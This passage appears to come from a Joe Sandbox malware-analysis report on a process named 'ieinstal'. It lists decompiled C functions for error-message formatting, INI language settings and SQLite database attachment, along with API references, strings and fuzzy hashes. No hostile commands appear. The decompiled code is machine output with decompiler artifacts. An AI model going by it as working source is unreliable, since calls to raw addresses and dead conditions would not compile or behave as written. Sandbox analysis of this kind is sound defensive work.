                                                                                                                            0x0040a4dc
                                                                                                                            0x0040a4e0
                                                                                                                            0x0040a4e5
                                                                                                                            0x0040a4f3
                                                                                                                            0x0040a4f8
                                                                                                                            0x0040a4fb
                                                                                                                            0x0040a4fe
                                                                                                                            0x0040a501
                                                                                                                            0x0040a501
                                                                                                                            0x0040a504
                                                                                                                            0x0040a504
                                                                                                                            0x0040a50a
                                                                                                                            0x0040a50a
                                                                                                                            0x0040a50c
                                                                                                                            0x0040a50f
                                                                                                                            0x0040a512
                                                                                                                            0x0040a51b

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpywcslen$_snwprintfmemset
                                                                                                                            • String ID: %s (%s)$YV@
                                                                                                                            • API String ID: 3979103747-598926743
                                                                                                                            • Opcode ID: 2040f1418fb7f55927111411806f4302e3b16a8f1d7874ce907b9bb2b5999412
                                                                                                                            • Instruction ID: 06bfc13611ed198a4270a5cd43788582667178ba612a9453d6f3368808cd6753
                                                                                                                            • Opcode Fuzzy Hash: 2040f1418fb7f55927111411806f4302e3b16a8f1d7874ce907b9bb2b5999412
                                                                                                                            • Instruction Fuzzy Hash: 31216F72900219BBDF21DF55CC45D8BB7B8BF04318F018466E948AB106DB74EA188BD9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040A661 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52librarywindowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 68%
                                                                                                                            			E0040A661(long __edi, wchar_t* _a4) {
				short _v8;
				void* _t8;
				void* _t10;
				long _t14;
				long _t24;

				_t24 = __edi;
				_t8 = 0;
				_t14 = 0x1100;
				if(__edi - 0x834 <= 0x383) {
					_t8 = LoadLibraryExW("netmsg.dll", 0, 2);
					if(0 != 0) {
						_t14 = 0x1900;
					}
				}
				if(FormatMessageW(_t14, _t8, _t24, 0x400,  &_v8, 0, 0) <= 0) {
					_t10 = wcscpy(_a4, "Unknown Error");
				} else {
					if(wcslen(_v8) < 0x400) {
						wcscpy(_a4, _v8);
					}
					_t10 = LocalFree(_v8);
				}
				return _t10;
			}








                                                                                                                            0x0040a661
                                                                                                                            0x0040a66f
                                                                                                                            0x0040a677
                                                                                                                            0x0040a67c
                                                                                                                            0x0040a686
                                                                                                                            0x0040a68e
                                                                                                                            0x0040a690
                                                                                                                            0x0040a690
                                                                                                                            0x0040a68e
                                                                                                                            0x0040a6ac
                                                                                                                            0x0040a6db
                                                                                                                            0x0040a6ae
                                                                                                                            0x0040a6b9
                                                                                                                            0x0040a6c1
                                                                                                                            0x0040a6c7
                                                                                                                            0x0040a6cb
                                                                                                                            0x0040a6cb
                                                                                                                            0x0040a6e5

                                                                                                                            APIs
                                                                                                                            • LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002,?,?,?,?,00409764,?), ref: 0040A686
                                                                                                                            • FormatMessageW.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000,?,?,?,?,00409764,?), ref: 0040A6A4
                                                                                                                            • wcslen.MSVCRT ref: 0040A6B1
                                                                                                                            • wcscpy.MSVCRT ref: 0040A6C1
                                                                                                                            • LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000,?,?,?,?,00409764,?), ref: 0040A6CB
                                                                                                                            • wcscpy.MSVCRT ref: 0040A6DB
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
                                                                                                                            • String ID: Unknown Error$netmsg.dll
                                                                                                                            • API String ID: 2767993716-572158859
                                                                                                                            • Opcode ID: 6af7a682c2b6d94d5c313714e0e524a7557e97864fcb7fd89b068039d1905f7d
                                                                                                                            • Instruction ID: f30f617898fcbe25dfcd40b25f3134c3ee1324ef56ff669fd92f7ad18b117fee
                                                                                                                            • Opcode Fuzzy Hash: 6af7a682c2b6d94d5c313714e0e524a7557e97864fcb7fd89b068039d1905f7d
                                                                                                                            • Instruction Fuzzy Hash: 77014772104214BFE7151B61EC46E9F7B3DEF06795F24043AF902B10D0DA7A5E10D69D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040DAE1 Relevance: 14.0, APIs: 3, Strings: 5, Instructions: 42COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 88%
                                                                                                                            			E0040DAE1(void* __eflags, wchar_t* _a4) {
				void* __esi;
				void* _t3;
				int _t6;

				_t3 = E00409B98(_a4);
				if(_t3 != 0) {
					wcscpy(0x45d458, _a4);
					wcscpy(0x45d668, "general");
					_t6 = GetPrivateProfileIntW(0x45d668, "rtl", 0, 0x45d458);
					asm("sbb eax, eax");
					 *0x45d6f0 =  ~(_t6 - 1) + 1;
					E0040D65D(0x45d6f8, "charset", 0x3f);
					E0040D65D(0x45d778, "TranslatorName", 0x3f);
					return E0040D65D(0x45d7f8, "TranslatorURL", 0xff);
				}
				return _t3;
			}






                                                                                                                            0x0040dae5
                                                                                                                            0x0040daed
                                                                                                                            0x0040dafb
                                                                                                                            0x0040db0b
                                                                                                                            0x0040db1c
                                                                                                                            0x0040db25
                                                                                                                            0x0040db34
                                                                                                                            0x0040db39
                                                                                                                            0x0040db4a
                                                                                                                            0x00000000
                                                                                                                            0x0040db67
                                                                                                                            0x0040db68

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                            • wcscpy.MSVCRT ref: 0040DAFB
                                                                                                                            • wcscpy.MSVCRT ref: 0040DB0B
                                                                                                                            • GetPrivateProfileIntW.KERNEL32(0045D668,rtl,00000000,0045D458), ref: 0040DB1C
                                                                                                                              • Part of subcall function 0040D65D: GetPrivateProfileStringW.KERNEL32(0045D668,?,0044E518,0045D6F8,?,0045D458), ref: 0040D679
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: PrivateProfilewcscpy$AttributesFileString
                                                                                                                            • String ID: TranslatorName$TranslatorURL$charset$general$rtl
                                                                                                                            • API String ID: 3176057301-2039793938
                                                                                                                            • Opcode ID: 3fbe58534c285a30a84b282ab535004845ea1880fa40ce6c2a5f8ae528691bae
                                                                                                                            • Instruction ID: a06b33177ff8c9e83df2ed587696004ed0fecc3b70d630751f385571f4afffd7
                                                                                                                            • Opcode Fuzzy Hash: 3fbe58534c285a30a84b282ab535004845ea1880fa40ce6c2a5f8ae528691bae
                                                                                                                            • Instruction Fuzzy Hash: A8F0F661EC061236D2213A761C07F2E26149FA3B93F05447BBC08771C7CA7E4A4DC69E
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0042F5F4 Relevance: 13.8, APIs: 2, Strings: 7, Instructions: 250COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 33%
                                                                                                                            			E0042F5F4(intOrPtr __edx, intOrPtr _a4, intOrPtr* _a12) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				void* _v20;
				void** _v24;
				void* __ebx;
				void* __esi;
				void** _t95;
				intOrPtr _t99;
				void* _t101;
				void* _t107;
				void _t108;
				void* _t109;
				intOrPtr _t114;
				intOrPtr _t124;
				intOrPtr _t127;
				signed int _t129;
				void* _t140;
				void* _t141;
				void* _t142;
				signed int _t144;
				signed int _t160;
				intOrPtr _t170;
				signed int _t172;
				intOrPtr* _t175;
				signed int _t177;
				intOrPtr _t178;
				void* _t179;
				void* _t180;

				_t167 = __edx;
				_t95 = _a4 + 8;
				_t179 =  *_t95;
				_t140 = 0;
				_v12 = 0;
				_v24 = _t95;
				_v8 = 0;
				_v16 = E00424FF0( *_a12);
				_a12 = E00424FF0( *((intOrPtr*)(_a12 + 4)));
				if(_v16 == 0) {
					_v16 = 0x44e5ef;
				}
				if(_a12 == _t140) {
					_a12 = 0x44e5ef;
				}
				_t99 =  *((intOrPtr*)(_t179 + 0x64));
				_t172 =  *(_t179 + 4);
				if(_t172 < _t99 + 2) {
					if( *((intOrPtr*)(_t179 + 0x1c)) != _t140) {
						if(_t172 <= 0) {
							L14:
							_t100 =  *(_t179 + 8);
							if( *(_t179 + 8) != _t179 + 0x1a8) {
								_t101 = E00415B2C(_t100, _t167, _t172 + 1 << 4);
								_t141 = _t101;
								if(_t141 == 0) {
									goto L53;
								}
								L19:
								 *(_t179 + 8) = _t141;
								_t142 = _t141 + ( *(_t179 + 4) << 4);
								memset(_t142, 0, 0x10);
								_push( *(_t179 + 0x10) | 0x00000100);
								_push(0);
								_t30 = _t142 + 4; // 0x4
								_t175 = _t30;
								_push(_t175);
								_push(_t179);
								_push(_v16);
								_t107 = E0041EED2(_t167);
								 *(_t179 + 4) =  *(_t179 + 4) + 1;
								_v12 = _t107;
								if(_t107 != 0x13) {
									if(_t107 != 0) {
										L36:
										_t168 = _t179;
										 *((char*)(_t142 + 9)) = 3;
										_t108 = E00415BE9(_t179, _a12);
										 *_t142 = _t108;
										if(_v12 != 0) {
											L40:
											_t109 =  *(_t179 + 8);
											_t177 =  *(_t179 + 4) - 1;
											_t144 = _t177 << 4;
											_t110 =  *((intOrPtr*)(_t109 + _t144 + 4));
											if( *((intOrPtr*)(_t109 + _t144 + 4)) != 0) {
												E0041F0AC(_t110, _t168);
												 *( *(_t179 + 8) + _t144 + 4) =  *( *(_t179 + 8) + _t144 + 4) & 0x00000000;
												 *( *(_t179 + 8) + _t144 + 0xc) =  *( *(_t179 + 8) + _t144 + 0xc) & 0x00000000;
											}
											E004300E8(0, _t179);
											 *(_t179 + 4) = _t177;
											if(_v12 == 7 || _v12 == 0xc0a) {
												 *((char*)(_t179 + 0x1e)) = 1;
												E004158F6(_t179, _v8);
												_push("out of memory");
												_t114 = E004165FF();
												goto L47;
											} else {
												if(_v8 != 0) {
													goto L48;
												}
												_push(_v16);
												_push("unable to open database: %s");
												goto L6;
											}
										}
										if(_t108 != 0) {
											_t101 = _t179;
											0x4380f6( &_v8);
											_v12 = _t101;
											if(_t101 == 0) {
												goto L53;
											}
											goto L40;
										}
										_v12 = 7;
										goto L40;
									}
									_t124 =  *_t175;
									0x43302c(_t179);
									 *((intOrPtr*)(_t142 + 0xc)) = _t124;
									if(_t124 != 0) {
										if( *((char*)(_t124 + 0x48)) != 0 &&  *((intOrPtr*)(_t124 + 0x49)) !=  *((intOrPtr*)( *((intOrPtr*)( *(_t179 + 8) + 0xc)) + 0x49))) {
											_push("attached databases must use the same text encoding as main database");
											_v8 = E004165FF();
											_v12 = 1;
										}
									} else {
										_v12 = 7;
									}
									_t160 =  *(_t179 + 0x1f) & 0x000000ff;
									_t127 =  *((intOrPtr*)( *((intOrPtr*)( *_t175 + 4))));
									if(_t160 >= 0 &&  *((char*)(_t127 + 0xc)) == 0) {
										_t170 =  *((intOrPtr*)(_t127 + 0xac));
										if(_t170 == 0 ||  *((char*)(_t170 + 0x1e)) != 2) {
											 *(_t127 + 4) = _t160;
										}
									}
									_t129 =  *( *(_t179 + 8) + 4);
									if(_t129 != 0) {
										_t129 =  *( *((intOrPtr*)(_t129 + 4)) + 0x12) & 0x000000ff;
									}
									E0041F188( *_t175, _t160, _t129);
									L35:
									goto L36;
								}
								_push("database is already attached");
								_v12 = 1;
								_v8 = E004165FF();
								goto L35;
							}
							_t101 = E00415AB7(_t167, _t179, 0x30);
							_t141 = _t101;
							if(_t141 == 0) {
								goto L53;
							}
							memcpy(_t141,  *(_t179 + 8), 0x20);
							_t180 = _t180 + 0xc;
							goto L19;
						}
						_v20 =  *(_t179 + 8);
						while(1) {
							_t167 = _a12;
							if(E00416A42( *_v20, _a12) == 0) {
								break;
							}
							_v20 = _v20 + 0x10;
							_t140 = _t140 + 1;
							if(_t140 < _t172) {
								continue;
							}
							goto L14;
						}
						_push(_a12);
						_push("database %s is already in use");
						goto L6;
					}
					_push("cannot ATTACH database within transaction");
					_t114 = E004165FF();
					goto L7;
				} else {
					_push(_t99);
					_push("too many attached databases - max %d");
					L6:
					_t114 = E004165FF();
					L7:
					L47:
					_v8 = _t114;
					if(_t114 == 0) {
						_t178 = _a4;
						L50:
						_t101 = _v12;
						if(_t101 == 0) {
							L53:
							return _t101;
						}
						 *(_t178 + 0x34) = _t101;
						if(( *(_t178 + 0x24) & 0x00000001) == 0) {
							goto L53;
						}
						0x444043();
						return E00422B84(0, _v24, _t101, 1);
					}
					L48:
					_t178 = _a4;
					E00425015(_t178, _v8);
					E004158F6(_t179, _v8);
					goto L50;
				}
			}
































                                                                                                                            0x0042f5f4
                                                                                                                            0x0042f605
                                                                                                                            0x0042f608
                                                                                                                            0x0042f60a
                                                                                                                            0x0042f60c
                                                                                                                            0x0042f60f
                                                                                                                            0x0042f612
                                                                                                                            0x0042f61e
                                                                                                                            0x0042f629
                                                                                                                            0x0042f632
                                                                                                                            0x0042f634
                                                                                                                            0x0042f634
                                                                                                                            0x0042f63a
                                                                                                                            0x0042f63c
                                                                                                                            0x0042f63c
                                                                                                                            0x0042f63f
                                                                                                                            0x0042f642
                                                                                                                            0x0042f64a
                                                                                                                            0x0042f661
                                                                                                                            0x0042f671
                                                                                                                            0x0042f693
                                                                                                                            0x0042f693
                                                                                                                            0x0042f69e
                                                                                                                            0x0042f6d3
                                                                                                                            0x0042f6d8
                                                                                                                            0x0042f6dd
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0042f6e3
                                                                                                                            0x0042f6eb
                                                                                                                            0x0042f6ee
                                                                                                                            0x0042f6f3
                                                                                                                            0x0042f703
                                                                                                                            0x0042f704
                                                                                                                            0x0042f706
                                                                                                                            0x0042f706
                                                                                                                            0x0042f709
                                                                                                                            0x0042f70a
                                                                                                                            0x0042f70b
                                                                                                                            0x0042f70e
                                                                                                                            0x0042f716
                                                                                                                            0x0042f71c
                                                                                                                            0x0042f71f
                                                                                                                            0x0042f73c
                                                                                                                            0x0042f7c6
                                                                                                                            0x0042f7c9
                                                                                                                            0x0042f7cb
                                                                                                                            0x0042f7cf
                                                                                                                            0x0042f7d9
                                                                                                                            0x0042f7db
                                                                                                                            0x0042f801
                                                                                                                            0x0042f804
                                                                                                                            0x0042f807
                                                                                                                            0x0042f80a
                                                                                                                            0x0042f80d
                                                                                                                            0x0042f813
                                                                                                                            0x0042f815
                                                                                                                            0x0042f81d
                                                                                                                            0x0042f825
                                                                                                                            0x0042f825
                                                                                                                            0x0042f82e
                                                                                                                            0x0042f837
                                                                                                                            0x0042f83a
                                                                                                                            0x0042f858
                                                                                                                            0x0042f860
                                                                                                                            0x0042f865
                                                                                                                            0x0042f86a
                                                                                                                            0x00000000
                                                                                                                            0x0042f845
                                                                                                                            0x0042f849
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0042f84b
                                                                                                                            0x0042f84e
                                                                                                                            0x00000000
                                                                                                                            0x0042f84e
                                                                                                                            0x0042f83a
                                                                                                                            0x0042f7df
                                                                                                                            0x0042f7ee
                                                                                                                            0x0042f7f0
                                                                                                                            0x0042f7f8
                                                                                                                            0x0042f7fb
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0042f7fb
                                                                                                                            0x0042f7e1
                                                                                                                            0x00000000
                                                                                                                            0x0042f7e1
                                                                                                                            0x0042f742
                                                                                                                            0x0042f745
                                                                                                                            0x0042f74d
                                                                                                                            0x0042f750
                                                                                                                            0x0042f75f
                                                                                                                            0x0042f76f
                                                                                                                            0x0042f77a
                                                                                                                            0x0042f77d
                                                                                                                            0x0042f77d
                                                                                                                            0x0042f752
                                                                                                                            0x0042f752
                                                                                                                            0x0042f752
                                                                                                                            0x0042f784
                                                                                                                            0x0042f78f
                                                                                                                            0x0042f791
                                                                                                                            0x0042f799
                                                                                                                            0x0042f7a1
                                                                                                                            0x0042f7a9
                                                                                                                            0x0042f7a9
                                                                                                                            0x0042f7a1
                                                                                                                            0x0042f7af
                                                                                                                            0x0042f7b4
                                                                                                                            0x0042f7b9
                                                                                                                            0x0042f7b9
                                                                                                                            0x0042f7c0
                                                                                                                            0x0042f7c5
                                                                                                                            0x00000000
                                                                                                                            0x0042f7c5
                                                                                                                            0x0042f721
                                                                                                                            0x0042f726
                                                                                                                            0x0042f732
                                                                                                                            0x00000000
                                                                                                                            0x0042f732
                                                                                                                            0x0042f6a2
                                                                                                                            0x0042f6a7
                                                                                                                            0x0042f6ac
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0042f6b8
                                                                                                                            0x0042f6bd
                                                                                                                            0x00000000
                                                                                                                            0x0042f6bd
                                                                                                                            0x0042f676
                                                                                                                            0x0042f679
                                                                                                                            0x0042f67c
                                                                                                                            0x0042f688
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0042f68a
                                                                                                                            0x0042f68e
                                                                                                                            0x0042f691
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0042f691
                                                                                                                            0x0042f6c2
                                                                                                                            0x0042f6c5
                                                                                                                            0x00000000
                                                                                                                            0x0042f6c5
                                                                                                                            0x0042f663
                                                                                                                            0x0042f668
                                                                                                                            0x00000000
                                                                                                                            0x0042f64c
                                                                                                                            0x0042f64c
                                                                                                                            0x0042f64d
                                                                                                                            0x0042f652
                                                                                                                            0x0042f652
                                                                                                                            0x0042f658
                                                                                                                            0x0042f872
                                                                                                                            0x0042f874
                                                                                                                            0x0042f877
                                                                                                                            0x0042f894
                                                                                                                            0x0042f897
                                                                                                                            0x0042f897
                                                                                                                            0x0042f89c
                                                                                                                            0x0042f8c2
                                                                                                                            0x0042f8c2
                                                                                                                            0x0042f8c2
                                                                                                                            0x0042f8a2
                                                                                                                            0x0042f8a5
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0042f8a9
                                                                                                                            0x00000000
                                                                                                                            0x0042f8bd
                                                                                                                            0x0042f879
                                                                                                                            0x0042f879
                                                                                                                            0x0042f881
                                                                                                                            0x0042f88b
                                                                                                                            0x00000000
                                                                                                                            0x0042f891

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            • cannot ATTACH database within transaction, xrefs: 0042F663
                                                                                                                            • unable to open database: %s, xrefs: 0042F84E
                                                                                                                            • attached databases must use the same text encoding as main database, xrefs: 0042F76F
                                                                                                                            • database %s is already in use, xrefs: 0042F6C5
                                                                                                                            • database is already attached, xrefs: 0042F721
                                                                                                                            • out of memory, xrefs: 0042F865
                                                                                                                            • too many attached databases - max %d, xrefs: 0042F64D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpymemset
                                                                                                                            • String ID: attached databases must use the same text encoding as main database$cannot ATTACH database within transaction$database %s is already in use$database is already attached$out of memory$too many attached databases - max %d$unable to open database: %s
                                                                                                                            • API String ID: 1297977491-2001300268
                                                                                                                            • Opcode ID: bc1e043490782c929c709f26cda1c8b0ebc87db0ce4dfb41b9d8c8297906dfd0
                                                                                                                            • Instruction ID: 2d624c67d108d3170f37657fe85980b6deaf3b4166a4b31ce602698a835437d0
                                                                                                                            • Opcode Fuzzy Hash: bc1e043490782c929c709f26cda1c8b0ebc87db0ce4dfb41b9d8c8297906dfd0
                                                                                                                            • Instruction Fuzzy Hash: 4791C131B00315AFDB10DF65E481B9ABBB0AF44318F94807FE8059B252D778E949CB59
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040EAFF Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 160COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 47%
                                                                                                                            			E0040EAFF(intOrPtr* __eax, void* __ecx, void* __eflags, signed int _a4, short _a8) {
				void* _v8;
				signed int _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t97;
				signed int _t99;
				void* _t100;
				signed short _t110;
				signed int _t113;
				intOrPtr _t117;
				signed int _t120;
				signed int _t122;
				signed short _t124;
				void* _t125;
				signed int _t126;
				signed int _t156;
				signed int _t160;
				signed int _t162;
				signed int _t164;
				signed int _t166;
				void* _t170;
				signed int _t172;
				signed int _t173;
				void* _t176;
				intOrPtr* _t177;
				void* _t179;
				void* _t180;
				void* _t184;
				intOrPtr _t186;

				_t180 = __eflags;
				_t177 = __eax;
				 *((intOrPtr*)(__eax + 4)) =  *((intOrPtr*)( *__eax + 0x74))();
				E0040E8E0(__eax);
				 *(_t177 + 0x34) =  *(_t177 + 0x34) & 0x00000000;
				_t126 = 0xa;
				 *((intOrPtr*)(_t177 + 0x294)) = _a4;
				_t160 = 0x14;
				_t97 = _t126 * _t160;
				 *(_t177 + 0x314) = _t126;
				0x44665e( ~(0 | _t180 > 0x00000000) | _t97, _t170, _t176, _t125, __ecx, __ecx);
				 *(_t177 + 0x318) = _t97;
				_t162 = 0x14;
				_t99 = _t126 * _t162;
				0x44665e( ~(0 | _t180 > 0x00000000) | _t99);
				 *(_t177 + 0x3c) = _t99;
				_v8 = 0x45a248;
				do {
					_t100 = _v8;
					_t172 =  *_t100 * 0x14;
					memcpy( *(_t177 + 0x318) + _t172, _t100, 0x14);
					memcpy( *(_t177 + 0x3c) + _t172, _v8 + 0x14, 0x14);
					_t110 =  *(_t172 +  *(_t177 + 0x318) + 0x10);
					_t179 = _t179 + 0x18;
					_v12 = _t110;
					 *( *(_t177 + 0x3c) + _t172 + 0x10) = _t110;
					if((_t110 & 0xffff0000) == 0) {
						 *(_t172 +  *(_t177 + 0x318) + 0x10) = E0040D134(_t110 & 0x0000ffff);
						_t124 = E0040D134(_v12 | 0x00010000);
						 *( *(_t177 + 0x3c) + _t172 + 0x10) = _t124;
						_t126 = 0xa;
					}
					_v8 = _v8 + 0x28;
					_t184 = _v8 - 0x45a3d8;
				} while (_t184 < 0);
				 *(_t177 + 0x40) =  *(_t177 + 0x40) & 0x00000000;
				 *((intOrPtr*)(_t177 + 0x44)) = _a8;
				_t164 = 4;
				_t113 = _t126 * _t164;
				 *(_t177 + 0x28) = _t126;
				 *((intOrPtr*)(_t177 + 0x24)) = 0x20;
				0x44665e( ~(0 | _t184 > 0x00000000) | _t113);
				 *(_t177 + 0x2c) = _t113;
				0x44665e(0xc);
				_t173 = _t113;
				if(_t173 == 0) {
					_t173 = 0;
					__eflags = 0;
				} else {
					_t117 =  *((intOrPtr*)(_t177 + 0x54));
					_t186 = _t117;
					_a8 = _t117;
					if(_t186 == 0) {
						_a8 = 0x64;
					}
					 *((intOrPtr*)(_t173 + 8)) = _a4;
					_t166 = 4;
					_t120 = _t126 * _t166;
					 *(_t173 + 4) = _t126;
					0x44665e( ~(0 | _t186 > 0x00000000) | _t120);
					_a4 = _a4 & 0x00000000;
					 *_t173 = _t120;
					do {
						_t156 = _a4;
						_t122 = _t156 << 2;
						_a4 = _a4 + 1;
						 *( *_t173 + _t122 + 2) = _t156;
						 *((short*)(_t122 +  *_t173)) = _a8;
					} while (_a4 < _t126);
				}
				 *(_t177 + 0x2b4) = _t173;
				 *((intOrPtr*)(_t177 + 0x48)) = 1;
				 *((intOrPtr*)(_t177 + 0x4c)) = 0;
				 *((intOrPtr*)(_t177 + 0x2a8)) = 1;
				 *((intOrPtr*)(_t177 + 0x2ac)) = 0;
				 *((intOrPtr*)(_t177 + 0x2b0)) = 0;
				 *((intOrPtr*)(_t177 + 0x2c4)) = 1;
				 *((intOrPtr*)(_t177 + 0x2c8)) = 1;
				 *((intOrPtr*)(_t177 + 0x328)) = 0x32;
				 *((intOrPtr*)(_t177 + 0x58)) = 0xffffff;
				return E0040EA7F(_t177);
			}

































                                                                                                                            0x0040eaff
                                                                                                                            0x0040eb06
                                                                                                                            0x0040eb10
                                                                                                                            0x0040eb13
                                                                                                                            0x0040eb1b
                                                                                                                            0x0040eb21
                                                                                                                            0x0040eb22
                                                                                                                            0x0040eb2c
                                                                                                                            0x0040eb2f
                                                                                                                            0x0040eb34
                                                                                                                            0x0040eb3f
                                                                                                                            0x0040eb44
                                                                                                                            0x0040eb4e
                                                                                                                            0x0040eb51
                                                                                                                            0x0040eb5b
                                                                                                                            0x0040eb62
                                                                                                                            0x0040eb65
                                                                                                                            0x0040eb6c
                                                                                                                            0x0040eb6c
                                                                                                                            0x0040eb71
                                                                                                                            0x0040eb80
                                                                                                                            0x0040eb94
                                                                                                                            0x0040eb9f
                                                                                                                            0x0040eba6
                                                                                                                            0x0040ebae
                                                                                                                            0x0040ebb1
                                                                                                                            0x0040ebb5
                                                                                                                            0x0040ebce
                                                                                                                            0x0040ebd2
                                                                                                                            0x0040ebdc
                                                                                                                            0x0040ebe0
                                                                                                                            0x0040ebe0
                                                                                                                            0x0040ebe1
                                                                                                                            0x0040ebe5
                                                                                                                            0x0040ebe5
                                                                                                                            0x0040ebf5
                                                                                                                            0x0040ebf9
                                                                                                                            0x0040ec00
                                                                                                                            0x0040ec03
                                                                                                                            0x0040ec08
                                                                                                                            0x0040ec0b
                                                                                                                            0x0040ec17
                                                                                                                            0x0040ec1e
                                                                                                                            0x0040ec21
                                                                                                                            0x0040ec26
                                                                                                                            0x0040ec2c
                                                                                                                            0x0040ec88
                                                                                                                            0x0040ec88
                                                                                                                            0x0040ec2e
                                                                                                                            0x0040ec2e
                                                                                                                            0x0040ec31
                                                                                                                            0x0040ec33
                                                                                                                            0x0040ec36
                                                                                                                            0x0040ec38
                                                                                                                            0x0040ec38
                                                                                                                            0x0040ec42
                                                                                                                            0x0040ec49
                                                                                                                            0x0040ec4c
                                                                                                                            0x0040ec51
                                                                                                                            0x0040ec59
                                                                                                                            0x0040ec5e
                                                                                                                            0x0040ec63
                                                                                                                            0x0040ec65
                                                                                                                            0x0040ec65
                                                                                                                            0x0040ec6c
                                                                                                                            0x0040ec6f
                                                                                                                            0x0040ec75
                                                                                                                            0x0040ec80
                                                                                                                            0x0040ec80
                                                                                                                            0x0040ec86
                                                                                                                            0x0040ec8f
                                                                                                                            0x0040ec97
                                                                                                                            0x0040ec9a
                                                                                                                            0x0040ec9d
                                                                                                                            0x0040eca3
                                                                                                                            0x0040eca9
                                                                                                                            0x0040ecaf
                                                                                                                            0x0040ecb5
                                                                                                                            0x0040ecbb
                                                                                                                            0x0040ecc5
                                                                                                                            0x0040ecd5

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E8EC
                                                                                                                              • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E8FA
                                                                                                                              • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E90B
                                                                                                                              • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E922
                                                                                                                              • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E92B
                                                                                                                            • ??2@YAPAXI@Z.MSVCRT ref: 0040EB3F
                                                                                                                            • ??2@YAPAXI@Z.MSVCRT ref: 0040EB5B
                                                                                                                            • memcpy.MSVCRT ref: 0040EB80
                                                                                                                            • memcpy.MSVCRT ref: 0040EB94
                                                                                                                            • ??2@YAPAXI@Z.MSVCRT ref: 0040EC17
                                                                                                                            • ??2@YAPAXI@Z.MSVCRT ref: 0040EC21
                                                                                                                            • ??2@YAPAXI@Z.MSVCRT ref: 0040EC59
                                                                                                                              • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                                                                                                                              • Part of subcall function 0040D134: LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                                                                                                                              • Part of subcall function 0040D134: memcpy.MSVCRT ref: 0040D24C
                                                                                                                              • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                                                                                                                              • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                                                                                                                              • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??2@??3@$memcpy$HandleModule$LoadStringwcscpywcslen
                                                                                                                            • String ID: ($d
                                                                                                                            • API String ID: 1140211610-1915259565
